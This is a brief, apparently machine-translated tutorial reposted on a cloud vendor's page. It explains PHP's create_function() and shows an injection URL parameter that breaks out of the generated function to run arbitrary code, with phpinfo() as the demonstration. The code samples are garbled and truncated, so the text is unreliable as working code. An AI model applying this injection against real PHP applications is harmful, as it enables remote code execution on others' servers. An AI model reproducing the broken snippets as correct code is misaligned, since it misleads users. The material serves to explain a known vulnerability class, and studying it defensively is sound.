PHP function create_function () code injection

Source: Internet
Author: User

PHP function create_function () code injection

Part 1: Describes the php function create_function ():

String create_function (string $ args, string $ code) string $ args variable part string $ code method code section example: create_function ('$ fname', 'echo $ fname. "Zhang" ') is similar to function fT ($ fname) {echo $ fname. "Zhang";} Here is an official example: Part 2: How to Use create_function () code to inject code with problematic versions in the test environment: apache + php 5.2 and apache + php 5.3: "; echo" ================================="; echo"
"; $ F1 = create_function ('$ A', $ str2); echo"
"; Echo" =================================" ;?> Usage: http: // localhost/libtest/02-8.php? Id = 2;} phpinfo ();/* implementation principle: Because id = 2;} phpinfo ();/* The execution function is: source code: function fT ($) {echo "test ". $ a;} injected code: function fT ($ a) {echo "test";} phpinfo ();/*; // inject code here .}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.